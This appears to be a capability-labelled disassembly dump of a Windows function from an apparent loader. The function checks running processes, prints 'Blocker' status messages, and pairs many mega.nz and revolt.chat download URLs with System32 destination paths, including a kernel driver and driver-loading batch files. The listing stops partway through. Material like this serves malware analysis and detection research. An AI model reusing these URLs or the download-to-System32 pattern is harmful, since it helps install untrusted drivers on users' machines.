Function at 0x14001e2c0
Capabilities:
Create process on windows
Delete file
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x19a0]
mov eax, 0x1aa0
call fcn.140077310
sub rsp, rax
movaps xmmword [rsp + 0x1a90], xmm6
mov rax, qword [0x1400deb80]
xor rax, rsp
mov qword [rbp + 0x1980], rax
call fcn.140019700
mov rcx, rax
call fcn.140019320
call fcn.140019700
xor ebx, ebx
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x14001e44c
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rbx
lea r8d, [rbx + 7]
lea rdx, [0x14007c230]
lea rcx, [rsp + 0x68]
call fcn.1400187b0
xor edx, edx
lea ecx, [rbx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
mov dword [rbp + 0x1850], 0x130
mov rsi, qword [rbp - 0x80]
mov r14, qword [rsp + 0x68]
nop dword [rax + rax]
lea r8, [rsp + 0x68]
cmp rsi, 0xf
cmova r8, r14
lea rcx, [rbp + 0x187c]
sub r8, rcx
nop word [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x14001e3a3
inc rcx
test eax, eax
jne 0x14001e390
mov rcx, rdi
test edx, edx
je 0x14001e3bf
lea rdx, [rbp + 0x1850]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14001e370
lea edi, [rax + 1]
jmp 0x14001e3cb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp + 0x1858]
lea rcx, [rsp + 0x68]
call fcn.14000a7f0
mov r8d, edi
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp edi, 0x102
je 0x14002247f
lea rdx, str.___Loading_Blocker:
call fcn.140019a60
mov rcx, rax
mov dl, reloc.WLDAP32.dll_Ordinal_45
call fcn.140019820
lea rdx, [0x14001c6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14001c690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400239b0
lea rdx, str.___Blocker_Status:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
mov rcx, rax
mov dl, reloc.WLDAP32.dll_Ordinal_45
call fcn.140019820
lea rdx, [0x14001c6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c238]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c23c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c240]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14007c244]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019a60
lea rdx, [0x14001c6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140019700
mov rcx, rax
call fcn.140019320
call fcn.140019700
cmp qword [rax + 8], 0xffffffffffffffff
je 0x1400230c3
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_9PtDmARLPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp - 0x58]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x15c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x15d8], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rdx, str.C:WindowsSystem3221xcxc8sdd
lea rcx, [rbp + 0x15c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x15a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x15b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_gXsgyD5bPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x15a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1588], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1598], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1588]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1568], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1578], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_cekiyYgYPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1568]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1548], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1558], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1548]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1528], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1538], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_hTV0CKBBPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1528]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1508], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1518], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1508]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_NbEiUBaSPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x14e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x14c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x14a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_hKd3lRBTPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x14a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1488], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1498], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1488]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1468], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1478], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_5fE3WRJBPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1468]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1448], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1458], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1448]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1428], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1438], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_VTVhDaSIPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1428]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1408], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1418], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1408]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x13e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_cOk21BZAPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x13e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x13c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x13c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x13a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_ILkC2byRPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x13a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1388], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1398], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1388]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1368], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1378], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_Ves03JbDPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1368]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1348], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1358], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1348]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1328], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1338], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_he9XFCAZPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1328]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1308], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1318], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1308]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x12e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_9KUnCKgTPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x12e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x12c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x12c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x12a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_VK1iSZIRPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x12a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1288], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1298], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1288]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1268], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1278], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_JDVljA6CPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1268]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1248], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1258], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1248]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1228], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1238], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1b9gWC5QPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1228]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1208], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1218], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1208]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x11e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_EHNnmDSSPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x11e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x11c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x11c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x11a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_dK01BZaYPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x11a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1188], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1198], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1188]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1178], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lLUxzaKCPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1168]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1158], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1148]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1138], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_NTEUkTiAPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x1128]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1118], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1108]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10f8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_FClh1ajaPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x10e8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10c8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10d8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x10c8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x10a8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10b8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_xDFklYCS8qNeF9Hnz8IBadhUeiniKNPvDN1NEpjjAAAAAAAAAAA
lea rcx, [rbp + 0x10a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1088], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1098], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1088]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1068], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1078], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0CMRCI5Ka2hYOv7TvtyBB25VPUjXfOZ0czpuoicAAAAAAAAAAAA
lea rcx, [rbp + 0x1068]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1048], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1058], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1048]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1028], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1038], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_pLERyYJCcHTz_1hBawZiMq7V_pjg7J4ajqurQnjuAAAAAAAAAAA
lea rcx, [rbp + 0x1028]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1008], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1018], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1008]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xfe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xff8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1PkEmYIIaeiOE_3_uHnQOSRi5_hc5pmKhWcIhBzxAAAAAAAAAAA
lea rcx, [rbp + 0xfe8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xfc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xfd8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xfc8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xfa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xfb8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_4PtlCYKZktBT82BU_N4LNdB6KOeaizY0RnH07Cb_AAAAAAAAAAA
lea rcx, [rbp + 0xfa8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xf88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf78], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0DdCECoS_sQsh1aMDroGvNXT6_40JRvXgEssDbLsAAAAAAAAAAA
lea rcx, [rbp + 0xf68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xf48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf38], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tbdHQBQJxtWQoXmGZkxP9W7Jw4hqcv4TZVdUWLFhAAAAAAAAAAA
lea rcx, [rbp + 0xf28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf08], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xf08]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xee8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xef8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BfFi0ISItrWM9VmKOtWNeEItX54v0jrQsHqYq67uAAAAAAAAAAA
lea rcx, [rbp + 0xee8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xec8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xed8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xec8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xea8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xeb8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BSFAiB7SMca6D7JFQ8jzplhzMLn_1Vkrr4IpBmdJAAAAAAAAAAA
lea rcx, [rbp + 0xea8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xe88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe78], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wO8B1AJSDdlIA_COaDaTBrY_5UaOO7u_G_kZa_g5AAAAAAAAAAA
lea rcx, [rbp + 0xe68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xe48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe38], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lDsTnTYTOf3PeukVNlXgU39nK17LE5zPXQrxFFdbAAAAAAAAAAA
lea rcx, [rbp + 0xe28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe08], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xe08]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xde8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdf8], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_WoKl1ko9gMhWWCbGKDcCb7URYla1ZmnExNjeCXQMcU_callbackdriver.sys
lea rcx, [rbp + 0xde8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xdc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdd8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xdc8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xda8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdb8], xmm1
mov r8d, 0x63
lea rdx, str.https:__autumn.revolt.chat_attachments_NT4_lTX4vh19YaiTMuJjziqfWRqukcCV9Cp8zPFs73_NXTDRIVERLOAD.bat
lea rcx, [rbp + 0xda8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xd88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd78], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_MKqa_gbaHApYRtN51oq6m3nqOvsNjIXK_GDPHPYQE1_NXTDRIVERLOAD2.bat
lea rcx, [rbp + 0xd68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xd48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd38], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_FClh1ajaPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0xd28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
